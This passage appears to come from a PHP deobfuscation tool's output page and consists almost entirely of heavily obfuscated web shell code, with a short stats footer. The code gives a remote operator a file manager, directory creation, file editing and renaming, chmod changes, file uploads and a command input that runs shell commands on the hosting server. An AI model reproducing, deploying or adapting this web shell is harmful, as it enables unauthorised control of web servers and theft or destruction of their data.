ile}\42\x20\157\x6e\x63\x6c\151\x63\x6b\75\42\x43\x68\x4d\x6f\x64\x28\47{$chdir}\47\x2c\40\x27{$file}\x27\51\42\76\x43\x68\155\x6f\x64\x3c\57\x61\76\x20\x7c\x20\x43\x6f\x70\x79\x20\74\57\164\x64\76"; goto VL0GV1Blkp; goto neAemP4cgq; KSHgg23NWr: if (strtoupper(substr($IIIIIIIIII1l, 0, 3) == "\x57\x49\x4e")) { goto WSWlXMRcNv; } echo "\74\154\145\x67\145\156\x64\x3e\104\x69\162\40\74\142\76\x59\105\x53\74\x2f\x62\76\72\40{$chdir}\40\55\x20\74\141\40\x68\x72\x65\x66\x3d\x22\43\133\116\x65\167\40\x44\151\162\x5d\x22\40\15\xa\xd\12\x6f\x6e\143\154\x69\143\153\x3d\x22\115\x6b\x64\x69\162\50\x27{$chdir}\47\51\x3b\42\x3e\116\x45\127\x20\104\111\x52\x3c\57\141\76\x20\x7c\x20\x3c\x61\x20\150\162\145\146\x3d\42\43\x5b\116\145\x77\x20\x46\x69\x6c\145\x5d\42\40\xd\12\15\xa\157\156\143\x6c\151\x63\153\x3d\x22\116\145\167\146\x69\154\x65\x28\47{$chdir}\x27\x29\42\76\x4e\105\x57\40\x46\x49\x4c\105\x3c\57\x61\76\40\174\40\74\141\x20\15\xa\15\xa\150\162\145\x66\x3d\x22{$IIIIIIIIII1I}\x26\141\x6d\160\x3b\x61\x63\x74\151\x6f\x6e\x3d\142\141\143\x6b\x74\157\157\x6c\x26\141\x6d\160\73\143\x68\144\151\162\x3d{$chdir}\x26\x61\155\160\73\167\x72\x69\164\145\75\x79\x65\x73\x22\x3e\x4b\x65\x6d\142\141\154\151\x3c\x2f\x61\76\x3c\57\x6c\145\147\145\x6e\144\15\xa\xd\xa\x3e"; goto juOpqGe42D; WSWlXMRcNv: echo "\74\154\x65\147\145\156\144\x20\x73\164\x79\154\145\x3d\x27\143\x6f\154\157\x72\72\43\x30\x46\x30\x27\x3e\104\x69\x72\x20\x3c\142\76\131\105\123\74\57\x62\76\72\40{$chdir}\40\x2d\40\74\141\40\150\162\x65\x66\75\42\x23\133\116\145\167\40\x44\151\x72\135\x22\40\15\xa\xd\xa\157\156\x63\154\x69\143\153\x3d\42\x4d\153\x64\x69\162\x28\x27{$chdir}\x27\51\73\42\x3e\x4e\105\x57\40\x44\x49\x52\74\x2f\141\76\40\174\40\x3c\x61\x20\150\162\145\x66\75\42\x23\x5b\116\145\167\40\x46\151\154\x65\x5d\x22\40\xd\12\xd\xa\157\x6e\143\154\151\143\x6b\x3d\x22\116\x65\167\x66\x69\154\145\50\47{$chdir}\x27\x29\x22\x3e\116\105\x57\x20\x46\111\x4c\x45\x3c\57\x61\x3e\x20\x7c\x20\74\141\x20\15\xa\15\12\150\x72\x65\146\75\x22{$IIIIIIIIII1I}\46\141\x6d\x70\x3b\141\x63\164\x69\x6f\156\x3d\143\155\144\x26\141\155\x70\73\143\x68\x64\151\162\x3d{$chdir}\46\141\155\x70\x3b\143\155\144\x3d{$IIIIIIIlII11}\x22\76\x52\105\115\117\x54\117\x3c\57\141\76\x3c\57\x6c\x65\x67\x65\x6e\144\76"; goto Ic7vx2YEVs; Iw9vjJcydL: $IIIIIIIlI1I1 = @fileperms("{$chdir}" . "{$file}"); if (!($IIIIIIIlI1I1 == '')) { goto S93xFqAEI3; } $IIIIIIIlI1I1 = "\x3f\77\77"; S93xFqAEI3: $IIIIIIIlI1ll = @filesize("{$chdir}" . "{$file}"); goto IZiCevgX0Q; urKY931eXT: HI0jDA_0q0: $IIIIIIIIlII1 = "\x3c\x66\x6f\156\164\40\143\x6f\x6c\157\162\x3d\42\43\106\106\x46\106\106\x46\x22\76\x3c\146\157\156\x74\x20\15\xa\15\12\x63\157\x6c\157\162\x3d\x22\x23\106\106\x46\106\106\106\x22\76{$_FILES["\165\163\145\162\x66\x69\x6c\145"]["\156\x61\155\x65"]}\x3c\x2f\146\x6f\156\x74\76\x2c\x20\141\x72\143\x68\x69\145\x76\145\x20\166\x61\x6c\x69\144\54\x20\165\x70\x6c\x6f\141\x64\x69\156\x67\40\x63\x6f\155\x70\154\145\164\145\x2e\40\15\12\xd\xa\74\57\x66\157\156\164\76"; H5Oo2tdbPA: goto rogkI78w0M; mxODlrzw0m: goto FD3M4LenKf; yvgcJFI3bQ: ReHDqEEqwb: $file = $_GET["\146\x69\154\x65"]; $IIIIIIII11lI = ''; $IIIIIIII11ll = "{$chdir}" . "{$file}"; $IIIIIIII11lI = @file_get_contents($IIIIIIII11ll); goto tIFHGQHYSK; y1EduMQnCM: $IIIIIIIlI1ll = "\77\x3f\77"; E1OnjLSXRq: fqRDRW5GGk: echo "\x3c\x74\x72\76"; echo "\74\x74\144\40\141\x6c\151\147\156\75\x22\x63\x65\x6e\x74\145\x72\42\40{$IIIIIIIlIllI}\x3e\x20{$IIIIIIIlI1I1}\74\57\164\144\76"; goto b3oROrD6fU; qXCK2LPlSf: echo "\x3c\164\144\x20\x77\151\x64\164\x68\x3d\42\71\x32\45\x22\x3e\72\x20\x3c\151\156\x70\x75\x74\x20\x74\171\160\x65\x3d\x22\164\145\x78\164\42\x20\x73\x69\x7a\145\75\x22\x37\x30\x22\x20\156\x61\x6d\145\x3d\42\143\155\x64\42\x20\x76\141\154\x75\145\x3d\x22{$IIIIIIIlIIll}\42\x20\15\12\15\12\163\164\x79\x6c\145\x3d\42\40\x66\x6f\x6e\x74\55\x73\x69\x7a\x65\72\x20\x38\x20\160\x74\x3b\40\x62\157\162\144\x65\x72\x3a\x20\61\160\170\x20\163\x6f\x6c\151\144\x20\43\106\x46\106\x46\x46\106\x22\x3e\x20\x3c\151\x6e\160\x75\x74\x20\x74\171\x70\x65\x3d\42\163\x75\x62\x6d\x69\x74\42\40\xd\12\15\12\x6e\x61\155\145\75\42\141\x63\164\151\157\x6e\42\40\x76\x61\x6c\165\145\x3d\42\x43\115\x44\42\x20\163\164\171\x6c\145\x3d\x22\40\x66\x6f\156\164\55\163\151\x7a\145\x3a\x20\x38\x20\160\164\73\x20\x62\x6f\x72\144\x65\x72\72\40\61\160\x78\x20\163\157\154\151\144\x20\xd\12\15\12\x23\106\x46\106\x46\106\106\42\76\x3c\x2f\x74\144\76"; echo "\74\x2f\164\x72\76"; echo "\74\57\x74\141\x62\x6c\145\76\x3c\x62\x72\x3e"; echo "\74\x2f\146\151\x65\154\144\163\145\164\x3e\74\x2f\146\157\162\x6d\76"; echo "\74\x66\x6f\x72\x6d\x20\x6d\145\x74\150\157\x64\x3d\x22\120\117\x53\x54\x22\40\x61\x63\x74\x69\x6f\156\75\42{$IIIIIIIIII1I}\46\x61\x6d\x70\x3b\x61\x63\164\x69\x6f\x6e\75\x75\x70\154\x6f\141\x64\x26\141\x6d\x70\73\143\150\x64\x69\162\x3d{$chdir}\x22\40\xd\12\xd\xa\x65\156\x63\164\x79\160\145\x3d\42\x6d\165\154\x74\x69\x70\141\x72\x74\57\146\x6f\x72\x6d\55\x64\x61\x74\141\42\76"; goto LD5lo116wr; pqcausJeAC: uLwCZzKDFb: $IIIIIIIIlII1 = "\x3c\x66\157\x6e\x74\x20\143\x6f\x6c\157\x72\x3d\x22\x23\106\106\x46\x46\106\x46\42\x3e\x3c\146\x6f\156\x74\x20\143\157\154\x6f\162\75\x22\43\x46\106\x46\106\x46\x46\x22\x3e{$file}\74\x2f\x66\x6f\x6e\x74\x3e\x2c\40\x42\x65\x72\x68\x61\163\151\x6c\x20\xd\xa\xd\xa\x6d\x65\156\x67\x68\x61\160\165\163\40\x66\x6f\x6c\144\x65\162\41\74\57\x66\157\x6e\164\76"; AfUgWGXH8I: GDrVi5KnZV: goto rogkI78w0M; goto U3dy2VPzmB; sXJFa4Xt2v: echo "\x66\165\x6e\143\164\x69\157\156\40\103\x68\115\x6f\144\50\x63\150\144\151\x72\54\40\x66\x69\x6c\145\x29\40\173"; echo "\x76\141\x72\x20\x6f\40\75\40\x70\162\x6f\x6d\160\164\x28\x27\x43\150\x6d\x6f\x64\x3a\x20\x2d\40\x43\x6f\156\164\157\150\72\x20\60\67\67\x37\x27\54\40\x27\47\x29\x3b"; echo "\x69\x66\x20\x28\157\51\40\x7b"; echo "\167\x69\156\144\157\167\56\x6c\x6f\x63\x61\x74\151\x6f\x6e\x3d\x22\42\x20\53\x20\x27{$IIIIIIIIII1I}\46\x61\x63\x74\x69\157\156\75\x63\150\155\157\x64\46\143\x68\x64\151\162\x3d\x27\x20\53\x20\x63\150\144\x69\162\40\53\40\x27\46\x66\151\154\x65\x3d\x27\x20\x2b\x20\x66\x69\154\x65\x20\x2b\x20\xd\xa\xd\xa\x27\x26\x63\150\x6d\x6f\144\75\x27\40\53\40\x6f\40\53\40\x22\42\x3b"; echo "\175"; goto AKu9fk2qYf; CHrgbSnVGX: if (is_readable("{$chdir}" . "{$file}")) { goto h0TAxT0BnY; } echo "\x3c\x74\x64\40{$IIIIIIIlIllI}\76\x20{$file}\x20\x3c\57\x74\144\x3e"; goto XcN6Afhvzm; h0TAxT0BnY: echo "\x3c\164\x64\40{$IIIIIIIlIllI}\x3e\40\x3c\x61\40\15\12\xd\12\150\x72\145\x66\x3d\x22{$IIIIIIIIII1I}\46\141\x6d\160\73\141\x63\164\151\157\x6e\75\145\144\x69\164\46\141\x6d\x70\73\x63\150\x64\x69\x72\x3d{$chdir}\46\x61\155\160\x3b\x66\151\154\145\x3d{$file}\42\76{$file}\x3c\x2f\x61\x3e\x20\x3c\57\164\x64\x3e"; goto pCQJSEz2ve; DF0s1YFBYR: echo "\40\40\x20\40\x3c\x2f\164\x72\x3e"; echo "\40\x20\x20\40\74\x74\162\x3e"; echo "\x20\40\40\x20\40\x20\74\164\x64\x20\x77\x69\x64\x74\150\75\x22\x31\x30\x30\x25\x22\40\x63\157\x6c\x73\160\141\156\75\x22\x34\42\x3e\40\x3c\57\164\144\x3e"; echo "\x20\40\40\40\x3c\57\164\x72\x3e\x3c\57\164\x61\x62\154\145\76\40"; echo "\x20\x20\x20\x3c\x74\x61\142\x6c\x65\x20\x62\x6f\162\x64\145\x72\x3d\42\61\42\40\x63\145\x6c\154\160\x61\x64\x64\151\156\147\75\42\x32\x22\x20\x63\x65\x6c\x6c\163\160\141\x63\x69\156\147\x3d\42\60\x22\x20\167\151\144\164\x68\x3d\x22\x31\x30\60\45\x22\x3e"; goto SagRXZUM0X; AKu9fk2qYf: echo "\175"; echo "\146\x75\x6e\143\164\x69\x6f\156\x20\122\x65\x6e\x61\x6d\145\x28\x63\150\x64\151\x72\x2c\x20\x66\x69\154\145\54\40\155\x6f\x64\x65\x29\x20\x7b"; echo "\151\x66\x20\50\x6d\x6f\144\145\40\75\75\40\47\145\x64\x69\x74\47\51\x20\x7b"; echo "\166\x61\162\x20\157\x20\x3d\40\160\x72\157\x6d\x70\164\50\x27\x52\145\156\x61\155\145\x20\116\141\x6d\141\40\106\151\154\x65\40\x27\x2b\40\x66\x69\154\x65\x20\x2b\x20\x27\40\155\145\x6e\152\x61\x64\151\72\47\x2c\x20\47\47\x29\73"; echo "\x7d"; goto kf1OUTLUNO; iu0_wjj4vs: EmtkTD_FjW: tZk94PI9_l: goto HY8t4C7JT5; ckMlJvicpS: if ($IIIIIIIlIll1 == "\143\150\x64\151\x72") { goto mC4Llr6uxH; } goto CHrgbSnVGX; WbitVuTfP1: $IIIIIIIllIIl .= "\x2d\x2d{$IIIIIIIllIl1}\x2d\55"; r1Mwezv1Fb: $IIIIIIIlllI1 = "\x69\156\x6a\145\x6b\141\x6e\x20\x61\156\x79\141\162\x20\102\x6f\163"; @(include "{$IIIIIIIIIll1}"); goto xMs_CmduNb; bI6qWEvbrh: wLKZcMpeGD: echo "\x3c\x74\162\76"; echo "\74\164\x64\40\x77\x69\x64\164\150\75\42\x38\45\42\x3e"; echo "\74\142\76\115\x65\164\150\157\144\x73\x20\x3c\x2f\x62\x3e\x3c\57\x74\144\76\x20"; echo "\x3c\164\144\40\167\151\144\164\x68\75\x22\71\62\x25\x22\x3e\x3a\40{$IIIIIIIlII1l}\x3c\x2f\164\144\x3e"; goto LRAKF0Exgw; xMs_CmduNb: echo "\40\x20\x3c\57\x74\x61\142\x6c\145\76\xd\xa\x20\40\74\x2f\x66\x69\x65\x6c\144\x73\145\x74\x3e\74\57\x66\x6f\x72\155\76\15\xa\74\57\x64\x69\166\x3e\74\x2f\143\x65\x6e\164\145\x72\76\xd\12\x3c\x2f\x62\x6f\x64\x79\x3e\xd\xa\15\12\74\x2f\150\x74\155\x6c\76\15\12";
Function Calls
None |
Stats
MD5 | 881266848fafd2207097c39bdd419048 |
Eval Count | 0 |
Decode Time | 139 ms |